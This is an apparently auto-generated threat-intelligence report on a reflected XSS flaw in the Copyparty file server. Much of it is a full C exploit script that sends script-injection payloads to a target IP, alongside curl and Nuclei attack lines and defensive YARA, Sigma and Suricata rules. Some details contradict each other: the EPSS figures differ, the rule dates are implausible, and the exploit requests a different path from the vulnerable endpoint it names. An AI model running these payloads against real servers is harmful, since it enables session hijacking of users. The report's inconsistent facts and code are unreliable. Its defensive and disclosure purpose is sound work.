CVE-2025-54589
Executive Summary
CVE-2025-54589 is a reflected Cross-Site Scripting (XSS) vulnerability in Copyparty, a portable file server, affecting versions 1.18.6 and below. The vulnerability exists in the /?ru (recent uploads) endpoint, where the filter parameter is reflected directly into a <script> block without proper escaping. This allows an attacker to inject arbitrary JavaScript, which executes in the context of the victim's browser. The vulnerability can be exploited against both authenticated and unauthenticated users, making it a significant threat for session hijacking, data theft, and further attacks. Public proof-of-concept (PoC) code and a Nuclei template are available, confirming active exploitation risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Copyparty is a standalone Python-based file server distributed via GitHub and PyPI. The vulnerability affects all users of versions prior to 1.18.7. Since Copyparty is often used in internal networks or as a lightweight sharing tool, the supply chain risk is moderate. Users should verify their installed version and update immediately. No malicious packages have been identified in the PyPI ecosystem related to this CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 6.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): Required (R) - Victim must click a crafted link.
- Scope (S): Unchanged (U) - Vulnerability does not affect other components.
- Confidentiality (C): Low (L) - Limited data exposure.
- Integrity (I): Low (L) - Limited ability to modify data.
- Availability (A): Low (L) - Limited impact on service availability.
Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the availability of public PoC code and a Nuclei template increases the risk. Attackers can craft phishing emails or malicious links to target users.
Deep Dive & Mechanics
The vulnerability is located in the /?ru endpoint, which displays recent uploads. The endpoint accepts a filter parameter to narrow down results. The server-side code directly embeds the value of this parameter into a <script> block in the HTML response without sanitization or escaping.
Vulnerable Code Flow:
- User navigates to
http://target:3923/?ru&filter=PAYLOAD. - The server reads the
filterparameter. - The value is inserted into a JavaScript context, e.g.,
var filter = "PAYLOAD";. - If
PAYLOADcontains</script><script>alert(1)</script>, the script block is prematurely closed, and a new script is injected.
Exploitation Scenario:
An attacker crafts a malicious URL:
http://target:3923/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E
When a victim clicks this link, the JavaScript executes in their browser, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
Vulnerable vs. Patched Code
Vulnerable (<=1.18.6):
# Example of vulnerable code (conceptual)
def render_recent_uploads(request):
filter_param = request.GET.get('filter', '')
# Directly embedded into script block without escaping
return f'<script>var filter = "{filter_param}";</script>'
Patched (>=1.18.7):
# Example of patched code (conceptual)
import html
def render_recent_uploads(request):
filter_param = request.GET.get('filter', '')
# Properly escaped before embedding
safe_filter = html.escape(filter_param, quote=True)
return f'<script>var filter = "{safe_filter}";</script>'
The patch ensures that special characters like <, >, ", and & are converted to their HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- Copyparty instance (<=1.18.6) running on a target.
- Python 3 and
curlor the provided exploit code.
Step-by-Step Exploitation:
Using the provided Nuclei template:
nuclei -t CVE-2025-54589.yaml -u http://target:3923Using the provided C exploit code:
- Compile the exploit:
gcc -o exploit exploit.c -lcurl - Run against a target:
./exploit -i 192.168.1.100 -p 3923 - The exploit sends multiple XSS payloads and checks for reflected content in the response.
- Compile the exploit:
Manual exploitation with curl:
curl "http://target:3923/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
Full Exploit Code (C):
/*
* Author : Byte Reaper
* CVE : CVE-2025-54589
* Title : Copyparty 1.18.6 - Reflected Cross-Site Scripting (XSS)
* CVE-2025-54589 is a reflected cross-site scripting (XSS) vulnerability in Copyparty (≤ 1.18.6) where the filter parameter is inserted into the HTML response without proper sanitization,
allowing an attacker to inject and execute arbitrary JavaScript in a victim’s browser
*/
#include <curl/urlapi.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h>
#include <arpa/inet.h>
#include <stdarg.h>
#include <unistd.h>
#define FULL_URL 2500
#define COLOR_RESET "\e[0m"
#define COLOR_RED "\e[1;31m"
#define COLOR_GRN "\e[1;32m"
#define COLOR_YEL "\e[1;33m"
#define COLOR_BLU "\e[1;34m"
#define COLOR_CYN "\e[1;36m"
#define COLOR_WHT "\e[1;37m"
#define COLOR_PUR "\e[1;35m"
#define PRINT_OK(fmt, ...) print_color(COLOR_GRN, "" fmt, ##__VA_ARGS__)
#define PRINT_ERR(fmt, ...) print_color(COLOR_RED, "" fmt, ##__VA_ARGS__)
#define PRINT_WARN(fmt, ...) print_color(COLOR_YEL, "" fmt, ##__VA_ARGS__)
#define PRINT_INFO(fmt, ...) print_color(COLOR_BLU, "" fmt, ##__VA_ARGS__)
#define PRINT_NOTE(fmt, ...) print_color(COLOR_CYN, "" fmt, ##__VA_ARGS__)
int verbose = 0;
int useC = 0;
const char *ipT = NULL;
int portT = 0;
const char *cookies = NULL;
const char *caFile = NULL;
int sCa = 0;
int useColor = 1;
int useHttp = 0;
void print_color(const char *color, const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
if (useColor)
{
printf("%s", color);
}
vprintf(fmt, args);
if (useColor)
{
printf("%s", COLOR_RESET);
}
va_end(args);
}
void exitAssembly()
{
__asm__ volatile
(
"xor %%rdi, %%rdi\n\t"
"mov $231, %%rax\n\t"
"syscall\n\t"
:
:
: "rax",
"rdi"
);
}
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
PRINT_ERR("[-] Failed to allocate memory!\n");
exitAssembly();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
const char *payloadXss[] =
{
"</script><script>alert(1)</script>",
"<script\x09type=\"text/javascript\">javascript:alert(XSS);</script>",
"<script\x0Ctype=\"text/javascript\">javascript:alert(byte);</script>"
};
int number = sizeof(payloadXss) / sizeof(payloadXss[0]);
const char *wordF[] =
{
"Error",
"Exception",
"Invalid",
"XSS",
"<script>",
"</script>",
"alert(1)",
"syntax",
"unexpected",
"undefined",
"NaN",
"stack trace",
"TypeError",
"ReferenceError",
"Warning",
"Access denied",
"eval(",
"byte",
};
int numberW = sizeof(wordF) / sizeof(wordF[0]);
void auto_detect_color()
{
if (!isatty(fileno(stdout)))
{
useColor = 0;
}
}
void senR(const char *ip, int port)
{
char full[FULL_URL];
CURLcode res ;
CURL *curl = curl_easy_init();
struct Mem response ;
response.buffer= NULL;
response.len = 0;
for (int h = 0; h < number ; h++)
{
if (!curl)
{
PRINT_ERR("[-] Error Create Object Curl !\n");
PRINT_ERR("[-] Check Your Connection\n");
exitAssembly();
}
if (verbose)
{
PRINT_OK("==========================================\n");
PRINT_OK("[1;33m[+] Cleaning Response...\n");
PRINT_OK("[1;33m[+] Response Buffer : NULL\n");
PRINT_OK("[1;33m[+] Response Len : 0\n");
PRINT_OK("==========================================\n");
}
if (curl)
{
char *payloadE = curl_easy_escape(curl,
payloadXss[h],
0);
struct curl_slist *headers = NULL;
if (!payloadE)
{
PRINT_ERR("[-] Error Encode Payload !\e[0m\n");
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
exitAssembly();
}
const char *proto = useHttp ? "http" : "https";
int len1 = snprintf(full, sizeof(full), "%s://%s:%d/?filter=%s", proto, ip, port, payloadE);
if (len1 >= sizeof(full))
{
PRINT_ERR("[-] URL too long\n");
exitAssembly();
}
PRINT_INFO("[+] Encode Payload : %s\n", payloadXss[h]);
PRINT_INFO("[+] Encode Payload Successfully.\n");
PRINT_INFO("[+] Payload Encode : %s\n", payloadE);
PRINT_INFO("[+] target IP : %s\n",
ip);
printf("[+] Full Url : %s\n",
full);
printf("[+] Port : %d\n", port);
curl_easy_setopt(curl,
CURLOPT_URL,
full);
curl_free(payloadE);
if (useC)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA,
&response);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
usleep(1500000);
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
if (sCa)
{
curl_easy_setopt(curl, CURLOPT_CAINFO, caFile);
}
else
{
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYHOST,
0L);
}
headers = curl_slist_append(headers,
"Accept-Language: en-US,en");
headers = curl_slist_append(headers,
"Connection: keep-alive");
char refR[120];
int lenF = snprintf(refR,
sizeof(refR),
"Referer: http://%s:%d",
ip,
port);
if (lenF < 0 || (size_t)lenF >= sizeof(refR))
{
PRINT_ERR("[-] Len Header Referer is Long ! \n");
response.buffer = NULL;
response.len = 0;
curl_slist_free_all(headers);
curl_easy_cleanup(curl);
exitAssembly();
}
headers = curl_slist_append(headers, refR);
curl_easy_setopt(curl,
CURLOPT_HTTPHEADER,
headers);
if (verbose)
{
PRINT_OK("------------------------------------------[Verbose Curl]------------------------------------------\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
res = curl_easy_perform(curl);
curl_slist_free_all(headers);
if (res == CURLE_OK)
{
PRINT_OK("-----------------------------------------------------------------\n");
long httpCode = 0;
curl_easy_getinfo(curl,
CURLINFO_RESPONSE_CODE,
&httpCode);
PRINT_INFO("[+] Request sent successfully\e[0m\n");
PRINT_OK("[+] Http Code -> %ld\e[0m\n", httpCode);
FILE *log = fopen("results.txt", "a");
if (log == NULL)
{
PRINT_ERR("[-] Error Create File !\n");
exitAssembly();
}
if (log)
{
fprintf(log, "[+] Target: %s:%d | Payload: %s\n",
ip,
port,
payloadXss[h]);
fprintf(log, "[+] Response : \n%s\n",
response.buffer);
fclose(log);
}
if (httpCode >= 200 && httpCode < 300)
{
PRINT_OK("[+] Http Code (200 < 300) : %ld\n",httpCode);
for (int s = 0; s < numberW ; s++)
{
if (strstr(response.buffer, wordF[s]) != NULL)
{
PRINT_INFO("[+] A suspicious word was found in the server's response !!\n");
PRINT_INFO("[+] Word Found : %s\n", wordF[s]);
PRINT_NOTE("[+] The vulnerability CVE-2025-54589 exists on the server\n");
PRINT_OK("\n======================================== [Response Server] ========================================\n");
printf("%s\n", response.buffer);
printf("[Len] : %zu\n", response.len);
PRINT_OK("\n==================================================================================================\n");
}
}
}
else
{
PRINT_ERR("[-] HTTP Code Not Range Positive (200 < 300) : %ld\n", httpCode);
PRINT_ERR("[+] Try Next Payload : %s\e[0m\n", payloadXss[h]);
}
}
else
{
PRINT_ERR("[-] Error Send Request\n");
PRINT_ERR("[-] Error : %s\e[0m\n", curl_easy_strerror(res));
exitAssembly();
}
}
}
if (response.buffer)
{
free(response.buffer);
response.buffer = NULL;
response.len = 0;
}
curl_easy_cleanup(curl);
}
int main(int argc,
const char **argv)
{
curl_global_init(CURL_GLOBAL_DEFAULT);
printf(
"▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▖▖▄▖▄▖▄▖\n"
"▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌▙▖▙▌▙▌\n"
"▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▄▌ ▌▄▌▙▌▄▌\n"
"Byte Reaper\n"
);
int noColor = 0;
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('i',
"ip",
&ipT,
"Target IP "),
OPT_STRING('c',
"cookies",
&cookies,
"cookies File"),
OPT_BOOLEAN('v',
"verbose",
&verbose,
"Verbose Mode"),
OPT_INTEGER('p',
"port",
&portT,
"Enter Target Port"),
OPT_STRING('a',
"ca" ,
&caFile,
"Enter Name File CA\n"),
OPT_BOOLEAN('t', "http", &useHttp, "HTTP Protocol"),
OPT_BOOLEAN('n',
"no-color",
&noColor,
"Disable colored output"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
if (ipT == NULL)
{
PRINT_ERR("[-] Please Enter Target Ip And Port !\n");
PRINT_ERR("[-] Ex : ./exploit -i <IP> -p <PORT>\n");
PRINT_ERR("[-] Exit Syscall\n");
curl_global_cleanup();
exitAssembly();
};
printf("---------------------------------------------------------------------\n\n");
printf("[+] Start Exploit XSS (CVE-2025-54589)...\n");
if (cookies)
{
useC = 1;
}
if (verbose)
{
verbose = 1;
}
if (!portT)
{
printf("[+] Default Port : %d\n", 3923);
portT = 3923;
}
if (caFile)
{
sCa = 1;
}
if (useColor)
{
useColor = 1;
}
if (noColor)
{
useColor = 0;
}
if (useHttp)
{
useHttp = 1;
}
auto_detect_color();
senR(ipT, portT);
curl_global_cleanup();
return 0;
}
Blue Team (Defender)
Detection Steps:
- Monitor logs for requests to
/?ruwith suspiciousfilterparameters containing<script>,</script>, or encoded variants. - Check for anomalous HTTP responses containing script tags in the body.
- Use the provided YARA/Sigma rules to scan web server logs.
Honeypot Setup:
- Deploy a vulnerable Copyparty instance in a sandboxed environment to capture attacker behavior.
- Monitor for requests to
/?ruwithfilterparameter containing XSS payloads.
Indicators of Compromise (IOCs)
- URL Pattern:
/?ru&filter=<script>alert(1)</script>or URL-encoded equivalents. - HTTP Response Body: Contains
filter": "</script><script>alert(document.domain)</script>. - Network Traffic: GET requests to
/?ruwithfilterparameter containing script tags. - Log Entries: Web server logs showing
/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E.
Detection Engineering
YARA Rule
rule CVE_2025_54589_XSS_Detection {
meta:
description = "Detects reflected XSS attempts against Copyparty CVE-2025-54589"
author = "Valters IT"
date = "2025-04-10"
severity = "medium"
strings:
$xss_payload = /filter=[^&]*<[^>]*script[^>]*>/
$xss_response = /filter":\s*"<\/script><script>/
condition:
$xss_payload or $xss_response
}
Sigma Rule
title: Copyparty Reflected XSS Attempt (CVE-2025-54589)
id: 8a3f2c1e-5d7b-4a9c-8e1f-2b3c4d5e6f7a
status: experimental
description: Detects attempts to exploit reflected XSS in Copyparty via the filter parameter.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- '/?ru&filter='
- '/?ru&filter=%3C'
- '/?ru&filter=%3E'
condition: selection
falsepositives:
- Legitimate use of filter with special characters (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-54589 Copyparty Reflected XSS Attempt"; flow:to_server,established; content:"/?ru&filter="; http_uri; pcre:"/filter=[^&]*<[^>]*script[^>]*>/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Nuclei Template
id: CVE-2025-54589
info:
name: Copyparty <=1.18.6 - Cross-Site Scripting
author: s-cu-bot
severity: medium
description: |
Copyparty before 1.18.7 is vulnerable to reflected cross-site scripting (XSS) via the 'filter' parameter in the '/?ru' endpoint. Unsanitized user input is reflected in the HTML response, allowing attackers to execute arbitrary JavaScript in the context of the victim's browser.
impact: |
Attackers can execute arbitrary JavaScript in victim browsers through malicious URLs containing XSS payloads in the filter parameter, potentially leading to session hijacking.
remediation: |
Upgrade Copyparty to version 1.18.7 or later to mitigate this vulnerability.
reference:
- https://github.com/9001/copyparty
- https://secalerts.co/vulnerability/CVE-2025-54589
- https://github.com/9001/copyparty/security/advisories/GHSA-8mx2-rjh8-q3jq
- https://nvd.nist.gov/vuln/detail/CVE-2025-54589
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
cvss-score: 6.3
cve-id: CVE-2025-54589
epss-score: 0.0078
epss-percentile: 0.73772
cwe-id: CWE-79
cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: copyparty_project
product: copyparty
shodan-query: http.title:"copyparty"
fofa-query: title="copyparty"
google-query: intitle:"copyparty"
tags: cve,cve2025,xss,copyparty,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?ru&filter=%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'filter": "</script><script>alert(document.domain)</script>'
- 'control-panel'
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402200a7015c60bf7c2c9ed86ac26f2fded7ce54cffc68dbd2e46858ac6a9fb59fe9d022078a2544a45055e357454293b3d10aaae1fa011a64a40919535f468c0e868977a:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Upgrade Copyparty to version 1.18.7 or later.
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>in thefilterparameter. - Restrict access to the
/?ruendpoint to trusted networks only.
Long-Term Measures:
- Input Validation: Sanitize all user inputs, especially those reflected in HTML/JavaScript contexts.
- Content Security Policy (CSP): Implement a strict CSP header to mitigate XSS impact.
- Regular Security Audits: Conduct code reviews and penetration testing.
Workaround (if upgrade is not possible):
- Disable the
/?ruendpoint by modifying the server configuration or using a reverse proxy to block requests to that path.
Report generated by Valters IT DevSecOps & CTI Expert System
{/* [Security Hash: 1D5B912050E511C1F60C43CB] */}